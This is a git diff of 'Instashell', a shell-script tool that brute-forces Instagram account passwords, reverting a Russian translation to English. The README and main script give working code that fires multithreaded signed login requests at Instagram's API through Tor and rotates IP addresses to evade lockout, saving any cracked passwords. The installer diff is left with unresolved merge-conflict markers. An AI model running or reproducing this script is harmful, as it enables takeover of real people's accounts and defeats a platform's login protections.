diff --git a/LICENSE b/LICENSE index 94a9ed0..7864a4a 100644 --- a/LICENSE +++ b/LICENSE @@ -1,3 +1,6 @@ + GNU LICENSE FOR INSTASHELL, AUTHOR: @thelinuxchoice + Downloaded from: https://github.com/thelinuxchoice/instashell + GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 diff --git a/README.md b/README.md index 16d4436..32adbe1 100644 --- a/README.md +++ b/README.md @@ -1,36 +1,44 @@ # Instashell v1.5.4 -## Создатель: github.com/thelinuxchoice -## Переводчик [RU]: github.com/XIshArkIX [готово] +## Author: github.com/thelinuxchoice +## IG: instagram.com/thelinuxchoice +### Don't copy this code without give me the credits, nerd! +Instashell is an Shell Script to perform multi-threaded brute force attack against Instagram, this script can bypass login limiting and it can test infinite number of passwords with a rate of +400 passwords/min using 20 threads. -Instashell - это скрипт для выполнения атаки брут форс (Brute Force) для Instagram. Этот скрипт может обойти ограничение на неправильные пароли, поэтому он может тестировать бесконенчое количество паролей. +## Legal disclaimer: +Usage of InstaShell for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program -## Правовая оговорка: -Использование InstaShell для атаки целей без предварительного взаимного согласия является незаконным. Ответственность конечного пользователя заключается в соблюдении всех применимых местных, государственных и федеральных законов. Разработчики не берут на себя никакой ответственности и не несут ответственности за какое-либо злоупотребление или ущерб, причиненный этой программой. +![insta](https://user-images.githubusercontent.com/34893261/37858917-a6f23ae2-2eea-11e8-9f58-9a688390cfb0.png) -![instashell](https://user-images.githubusercontent.com/34893261/37567580-c98d3a58-2aa7-11e8-9022-a5bc86326302.png) +### Features +- Multi-thread (400 pass/min, 20 threads) +- Save/Resume sessions +- Anonymous attack through TOR +- Check valid usernames +- Default password list (best +39k 8 letters) +- Check and Install all dependencies -### Перед использованием: -```bash -git clone https://github.com/XIshArkIX/instashell +### Usage: +``` +git clone https://github.com/thelinuxchoice/instashell cd instashell +chmod +x instashell.sh +service tor start +sudo ./instashell.sh +``` + +### Install requirements (Curl, Tor, Openssl): + +``` chmod +x install.sh sudo ./install.sh ``` -### Использование: -```bash -chmod +x instashell.sh -sudo ./instashell.sh -``` +### How it works? -#### Особенности: -* Сохранение/продолжение сессий -* Анонимная атака с использованием сети TOR -* Многопоточность (400 паролей в минуту, 20 потоков) -* Проверка на существование аккаунта -* Словарь в комлекте -* Авто установка зависимостей +Script uses an Android ApkSignature to perform authentication in addition using TOR and rotating the ip address to avoid blocking. +The script uses Instagram-py algorithm, see the project at: https://github.com/antony-jr/instagram-py -### Как это работает? +### Donate! +Support the authors: -Скрипт использует Android ApkSignature(цифровая подпись Android) для выполнения аутентификации, дополнительно используя сеть TOR, чтобы сменить IP адрес после блокировки и продолжить атаку. + diff --git a/install.sh b/install.sh index ae4bbbb..900104b 100644 --- a/install.sh +++ b/install.sh @@ -6,7 +6,11 @@ trap 'echo exiting cleanly...; exit 1;' SIGINT SIGTSTP checkroot() { if [[ "$(id -u)" -ne 0 ]]; then +<<<<<<< HEAD + printf "\e[1;77mPlease, run this program as root!\n\e[0m" +======= printf "\e[1;77mПожалуйста, запустите скрипт как супер пользователь!\n\e[0m" +>>>>>>> 9f703b7bdaa9a0ff1e524cfa63cf7ef6cd0e3b83 exit 1 fi @@ -14,6 +18,16 @@ fi checkroot +<<<<<<< HEAD +(trap '' SIGINT SIGTSTP && command -v tor > /dev/null 2>&1 || { printf >&2 "\e[1;92mInstalling TOR, please wait...\n\e[0m"; apt-get update > /dev/null && apt-get -y install tor > /dev/null || printf "\e[1;91mTor Not installed.\n\e[0m"; }) & wait $! + +(trap '' SIGINT SIGTSTP && command -v openssl > /dev/null 2>&1 || { printf >&2 "\e[1;92mInstalling openssl, please wait...\n\e[0m"; apt-get update > /dev/null && apt-get -y install openssl > /dev/null || printf "\e[1;91mOpenssl Not installed.\n\e[0m"; }) & wait $! + +(trap '' SIGINT SIGTSTP && command -v curl > /dev/null 2>&1 || { printf >&2 "\e[1;92mInstalling cURL, please wait...\n\e[0m"; apt-get update > /dev/null && apt-get -y install curl > /dev/null || printf "\e[1;91mCurl Not installed.\n\e[0m"; }) & wait $! + +printf "\e[1;92mAll Requires are installed!\n\e[0m" + +======= (trap '' SIGINT SIGTSTP && command -v tor > /dev/null 2>&1 || { printf >&2 "\e[1;92mУстановка TOR, пожалуйста подождите...\n\e[0m"; apt-get update > /dev/null && apt-get -y install tor > /dev/null || printf "\e[1;91mTor не установлен.\n\e[0m"; }) & wait $! (trap '' SIGINT SIGTSTP && command -v openssl > /dev/null 2>&1 || { printf >&2 "\e[1;92mУстановка openssl, пожалуйста подождите...\n\e[0m"; apt-get update > /dev/null && apt-get -y install openssl > /dev/null || printf "\e[1;91mOpenssl не установлен.\n\e[0m"; }) & wait $! @@ -21,3 +35,4 @@ checkroot (trap '' SIGINT SIGTSTP && command -v curl > /dev/null 2>&1 || { printf >&2 "\e[1;92mУстановка cURL, пожалуйста подождите...\n\e[0m"; apt-get update > /dev/null && apt-get -y install curl > /dev/null || printf "\e[1;91mCurl не установлен.\n\e[0m"; }) & wait $! printf "\e[1;92mВсе зависимости установлены!\n\e[0m" +>>>>>>> 9f703b7bdaa9a0ff1e524cfa63cf7ef6cd0e3b83 diff --git a/instashell.sh b/instashell.sh index ce36d9e..89b74f2 100644 --- a/instashell.sh +++ b/instashell.sh @@ -12,65 +12,64 @@ uuid=$(openssl rand -hex 32 | cut -c 1-32) phone="$string8-$string4-$string4-$string4-$string12" guid="$string8-$string4-$string4-$string4-$string12" var=$(curl -i -s -H "$header" https://i.instagram.com/api/v1/si/fetch_headers/?challenge_type=signup&guid=$uuid > /dev/null) -var2=$(echo $var | awk -F ';' '{print $2}' | cut -d '=' -f3) +var2=$(echo $var | grep -o 'csrftoken=.*' | cut -d ';' -f1 | cut -d '=' -f2) checkroot() { if [[ "$(id -u)" -ne 0 ]]; then - printf "\e[1;77mЗапускайте скрипт от имени супер пользователя!\n\e[0m" + printf "\e[1;77mPlease, run this program as root!\n\e[0m" exit 1 fi } dependencies() { - command -v tor > /dev/null 2>&1 || { echo -en >&2 "Мне нужен \033[41m\033[30mtor\033[0m, но его нет, используй ./installreq.sh. Выход."; exit 1; } - command -v curl > /dev/null 2>&1 || { echo -en >&2 "Мне нужен \033[41m\033[30mcurl\033[0m, но его нет, используй ./installreq.sh. Выход."; exit 1; } - command -v openssl > /dev/null 2>&1 || { echo -en >&2 "Мне нужен \033[41m\033[30mopenssl\033[0m, но его нет, используй ./installreq.sh. Выход."; exit 1; } - - command -v awk > /dev/null 2>&1 || { echo -en >&2 "Мне нужен \033[41m\033[30mawk\033[0m. Выход."; exit 1; } - command -v sed > /dev/null 2>&1 || { echo -en >&2 "Мне нужен \033[41m\033[30msed\033[0m. Выход."; exit 1; } - command -v cat > /dev/null 2>&1 || { echo -en >&2 "Мне нужен \033[41m\033[30mcat\033[0m. Выход."; exit 1; } - command -v tr > /dev/null 2>&1 || { echo -en >&2 "Мне нужен \033[41m\033[30mtr\033[0m. Выход."; exit 1; } - command -v wc > /dev/null 2>&1 || { echo -en >&2 "Мне нужен \033[41m\033[30mwc\033[0m. Выход."; exit 1; } - command -v cut > /dev/null 2>&1 || { echo -en >&2 "Мне нужен \033[41m\033[30mcut\033[0m. Выход."; exit 1; } - command -v uniq > /dev/null 2>&1 || { echo -en >&2 "Мне нужен \033[41m\033[30muniq\033[0m. Выход."; exit 1; } - if [ $(ls /dev/urandom >/dev/null; echo $?) == "1" ]; then - echo -en "\033[41m\033[30m/dev/urandom\033[0m не найден!" - exit 1 - fi +command -v tor > /dev/null 2>&1 || { echo >&2 "I require tor but it's not installed. Run ./install.sh. Aborting."; exit 1; } +command -v curl > /dev/null 2>&1 || { echo >&2 "I require curl but it's not installed. Run ./install.sh. Aborting."; exit 1; } +command -v openssl > /dev/null 2>&1 || { echo >&2 "I require openssl but it's not installed. Run ./install.sh Aborting."; exit 1; } + +command -v awk > /dev/null 2>&1 || { echo >&2 "I require awk but it's not installed. Aborting."; exit 1; } +command -v sed > /dev/null 2>&1 || { echo >&2 "I require sed but it's not installed. Aborting."; exit 1; } +command -v cat > /dev/null 2>&1 || { echo >&2 "I require cat but it's not installed. Aborting."; exit 1; } +command -v tr > /dev/null 2>&1 || { echo >&2 "I require tr but it's not installed. Aborting."; exit 1; } +command -v wc > /dev/null 2>&1 || { echo >&2 "I require wc but it's not installed. Aborting."; exit 1; } +command -v cut > /dev/null 2>&1 || { echo >&2 "I require cut but it's not installed. Aborting."; exit 1; } +command -v uniq > /dev/null 2>&1 || { echo >&2 "I require uniq but it's not installed. Aborting."; exit 1; } +if [ $(ls /dev/urandom >/dev/null; echo $?) == "1" ]; then +echo "/dev/urandom not found!" +exit 1 +fi } banner() { - printf "\e[1;92m _ _ _ _ \e[0m\n" - printf "\e[1;92m _ | | _ | | | || | \e[0m\n" - printf "\e[1;92m( \ | | ____ ___ _| |_ _____ ___ | |__ _____ | || | \e[0m\n" - printf "\e[1;92m ) )| || _ \ /___)(_ _)(____ | /___)| _ \ | ___ || || | \e[0m\n" - printf "\e[1;77m(_/ | || | | ||___ | | |_ / ___ ||___ || | | || ____|| || | _____ \e[0m\n" - printf "\e[1;77m |_||_| |_|(___/ \__)\_____|(___/ |_| |_||_____) \_)\_)(_____) \e[0m\n" - printf "\n" - printf "\e[1;77m\e[45m Instagram Brute Forcer v1.5.4 Author: thelinuxchoice (Github/IG) \e[0m\n" - printf "\e[1;77m\e[45m RU by XI_shArky_IX (github.com/XIshArkIX) \e[0m\n" - printf "\n" +printf "\e[1;92m _ _ _ _ \e[0m\n" +printf "\e[1;92m _ | | _ | | | || | \e[0m\n" +printf "\e[1;92m( \ | | ____ ___ _| |_ _____ ___ | |__ _____ | || | \e[0m\n" +printf "\e[1;92m ) )| || _ \ /___)(_ _)(____ | /___)| _ \ | ___ || || | \e[0m\n" +printf "\e[1;77m(_/ | || | | ||___ | | |_ / ___ ||___ || | | || ____|| || | _____ \e[0m\n" +printf "\e[1;77m |_||_| |_|(___/ \__)\_____|(___/ |_| |_||_____) \_)\_)(_____) \e[0m\n" +printf "\n" +printf "\e[1;77m\e[45m Instagram Brute Forcer v1.5.4 Author: thelinuxchoice (Github/IG) \e[0m\n" +printf "\n" } function start() { banner checkroot dependencies -read -p $'\e[1;92mИмя аккаунта: \e[0m' user -checkaccount=$(curl -L -s https://www.instagram.com/$user/?__a=1 | grep -c "страница возможно удалена или не сущетсвует по каким-либо причинам") +read -p $'\e[1;92mUsername account: \e[0m' user +checkaccount=$(curl -L -s https://www.instagram.com/$user/ | grep -c "the page may have been removed") if [[ "$checkaccount" == 1 ]]; then -printf "\e[1;91mНеправильное имя аккаунта, попробуй ещё раз.\e[0m\n" +printf "\e[1;91mInvalid Username! Try again\e[0m\n" sleep 1 start else default_wl_pass="passwords.lst" -read -p $'\e[1;92mСловарь (или Enter для использования стандартного): \e[0m' wl_pass +read -p $'\e[1;92mPassword List (Enter to default list): \e[0m' wl_pass wl_pass="${wl_pass:-${default_wl_pass}}" default_threads="10" -read -p $'\e[1;92mПотоки (Используйте <20 или Enter, чтобы использовать 10): \e[0m' threads +read -p $'\e[1;92mThreads (Use < 20, Default 10): \e[0m' threads threads="${threads:-${default_threads}}" fi } @@ -80,7 +79,7 @@ checktor() { check=$(curl --socks5-hostname localhost:9050 -s https://check.torproject.org > /dev/null; echo $?) if [[ "$check" -gt 0 ]]; then -printf "\e\033[0;33m[!][1;91m Пожалуйста, проверте соединение с TOR! Просто напишите \033[0;32mtor\033[0m или \033[0;32mservice tor start\n\e[0m\033[0m" +printf "\e[1;91mPlease, check your TOR Connection! Just type tor or service tor start\n\e[0m" exit 1 fi @@ -89,25 +88,25 @@ fi function store() { if [[ -n "$threads" ]]; then -printf "\e[1;91m [*] Остановка всех потоков...\n\e[0m" +printf "\e[1;91m [*] Waiting threads shutting down...\n\e[0m" if [[ "$threads" -gt 10 ]]; then sleep 6 else sleep 3 fi default_session="Y" -printf "\n\e[1;77mСохранить сессию для пользователя\e[0m\e[1;92m %s \e[0m" $user -read -p $'\e[1;77m? [Д/н]: \e[0m' session +printf "\n\e[1;77mSave session for user\e[0m\e[1;92m %s \e[0m" $user +read -p $'\e[1;77m? [Y/n]: \e[0m' session session="${session:-${default_session}}" -if [[ "$session" == "Y" || "$session" == "y" || "$session" == "yes" || "$session" == "Yes" || "$session" == "Да" || "$session" == "Д" || "$session" == "да" || "$session" == "д" ]]; then +if [[ "$session" == "Y" || "$session" == "y" || "$session" == "yes" || "$session" == "Yes" ]]; then if [[ ! -d sessions ]]; then mkdir sessions fi IFS=$'\n' countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1) -printf "Имя=\"%s\"\nПароль=\"%s\"\nТекущий=\"%s\"\nПопытка=\"%s\"\n" $user $pass $wl_pass $countpass > sessions/store.session.$user.$(date +"%FT%H%M") -printf "\e[1;77mСессия сохранена.\e[0m\n" -printf "\e[1;92mИспользуйте ./instashell --resume\n\033[0m" +printf "user=\"%s\"\npass=\"%s\"\nwl_pass=\"%s\"\ntoken=\"%s\"\n" $user $pass $wl_pass $countpass > sessions/store.session.$user.$(date +"%FT%H%M") +printf "\e[1;77mSession saved.\e[0m\n" +printf "\e[1;92mUse ./instashell --resume\n" else exit 1 fi @@ -128,13 +127,13 @@ function bruteforcer() { checktor count_pass=$(wc -l $wl_pass | cut -d " " -f1) -printf "\e[1;92mИмя пользователя:\e[0m\e[1;77m %s\e[0m\n" $user -printf "\e[1;92mСловарь:\e[0m\e[1;77m %s (%s)\e[0m\n" $wl_pass $count_pass -printf "\e[1;91m[*] Нажмите Ctrl + C, чтобы остановить или сохранить сессию\n\e[0m" +printf "\e[1;92mUsername:\e[0m\e[1;77m %s\e[0m\n" $user +printf "\e[1;92mWordlist:\e[0m\e[1;77m %s (%s)\e[0m\n" $wl_pass $count_pass +printf "\e[1;91m[*] Press Ctrl + C to stop or save session\n\e[0m" token=0 startline=1 endline="$threads" -while [ $token -lt $count_pass ]; do +while [[ "$token" -lt "$count_pass" ]]; do IFS=$'\n' for pass in $(sed -n ''$startline','$endline'p' $wl_pass); do header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' @@ -147,9 +146,9 @@ hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2 useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' let token++ -printf "\e[1;77mПробую (%s/%s)\e[0m: %s\n" $countpass $count_pass $pass #token +printf "\e[1;77mTrying pass (%s/%s)\e[0m: %s\n" $countpass $count_pass $pass #token -{(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9050 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; ru_RU)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait"| uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Найден пароль: %s\n [*] Запрошено испытание\n" $pass; printf "Имя пользователя: %s, Пароль: %s\n" $user $pass >> found.instashell ; printf "\e[1;92m [*] Сохранено:\e[0m\e[1;77m found.instashell \n\e[0m"; kill -1 $$ ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Найден пароль: %s\n" $pass; printf "Имя пользователя: %s, Пароль: %s\n" $user $pass >> found.instashell ; printf "\e[1;92m [*] Сохранено:\e[0m\e[1;77m found.instashell \n\e[0m"; kill -1 $$ ; elif [[ $var == "Please wait" ]]; then changeip; fi; ) } & done; wait $!; +{(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9050 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instashell ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instashell \n\e[0m"; kill -1 $$ ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instashell ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instashell \n\e[0m"; kill -1 $$ ; elif [[ $var == "Please wait" ]]; then changeip; fi; ) } & done; wait $!; let startline+=$threads let endline+=$threads @@ -162,34 +161,34 @@ exit 1 function resume() { -banner +banner checktor counter=1 if [[ ! -d sessions ]]; then - printf "\e[1;91m[*] Ни сохранено не одной сессии\n\e[0m" - exit 1 +printf "\e[1;91m[*] No sessions\n\e[0m" +exit 1 fi -printf "\e[1;92mФайлы сессий:\n\e[0m" +printf "\e[1;92mFiles sessions:\n\e[0m" for list in $(ls sessions/store.session*); do IFS=$'\n' source $list -printf "\e[1;92m%s \e[0m\e[1;77m: %s (\e[0m\e[1;92mwl:\e[0m\e[1;77m %s\e[0m\e[1;92m,\e[0m\e[1;92m Последний:\e[0m\e[1;77m %s )\n\e[0m" "$counter" "$list" "$wl_pass" "$pass" +printf "\e[1;92m%s \e[0m\e[1;77m: %s (\e[0m\e[1;92mwl:\e[0m\e[1;77m %s\e[0m\e[1;92m,\e[0m\e[1;92m lastpass:\e[0m\e[1;77m %s )\n\e[0m" "$counter" "$list" "$wl_pass" "$pass" let counter++ done -read -p $'\e[1;92mВыберите номер сессии: \e[0m' fileresume +read -p $'\e[1;92mChoose a session number: \e[0m' fileresume source $(ls sessions/store.session* | sed ''$fileresume'q;d') default_threads=10 -read -p $'\e[1;92mПотоки (Используйте <20 или Enter, чтобы использовать 10): \e[0m' threads +read -p $'\e[1;92mThreads (Use < 20, Default 10): \e[0m' threads threads="${threads:-${default_threads}}" -printf "\e[1;92m[*] Продолжаю сессию для:\e[0m \e[1;77m%s\e[0m\n" $user -printf "\e[1;92m[*] Словарь: \e[0m \e[1;77m%s\e[0m\n" $wl_pass -printf "\e[1;91m[*] Нажмите Ctrl + C, чтобы остановить или сохранить сессию\n\e[0m" +printf "\e[1;92m[*] Resuming session for user:\e[0m \e[1;77m%s\e[0m\n" $user +printf "\e[1;92m[*] Wordlist: \e[0m \e[1;77m%s\e[0m\n" $wl_pass +printf "\e[1;91m[*] Press Ctrl + C to stop or save session\n\e[0m" count_pass=$(wc -l $wl_pass | cut -d " " -f1) -while [ $token -lt $count_pass ]; do +while [[ "$token" -lt "$count_pass" ]]; do IFS=$'\n' for pass in $(sed -n '/\b'$pass'\b/,'$(($token+threads))'p' $wl_pass); do #for pass in $(sed -n '/\b'$pass'\b/,'$threads'p' $wl_pass); do @@ -203,7 +202,7 @@ hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2 useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' printf "\e[1;77mTrying pass (%s/%s)\e[0m: %s\n" $countpass $count_pass $pass #token let token++ -{(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9050 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; ru_RU)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait"| uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Найден пароль: %s\n [*] Запрошено испытание\n" $pass; printf "Имя пользователя: %s, Пароль: %s\n" $user $pass >> found.instashell ; printf "\e[1;92m [*] Сохранено:\e[0m\e[1;77m found.instashell \n\e[0m"; kill -1 $$ ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Найден пароль: %s\n" $pass; printf "Имя пользователя: %s, Пароль: %s\n" $user $pass >> found.instashell ; printf "\e[1;92m [*] Сохранено:\e[0m\e[1;77m found.instashell \n\e[0m"; kill -1 $$ ; elif [[ $var == "Please wait" ]]; then changeip; fi; ) } & done; wait $!; +{(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9050 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait"| uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instashell ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instashell \n\e[0m"; kill -1 $$ ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instashell ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instashell \n\e[0m"; kill -1 $$ ; elif [[ $var == "Please wait" ]]; then changeip; fi; ) } & done; wait $!; let token-- changeip done @@ -214,3 +213,4 @@ case "$1" in --resume) resume ;; *) start bruteforcer esac +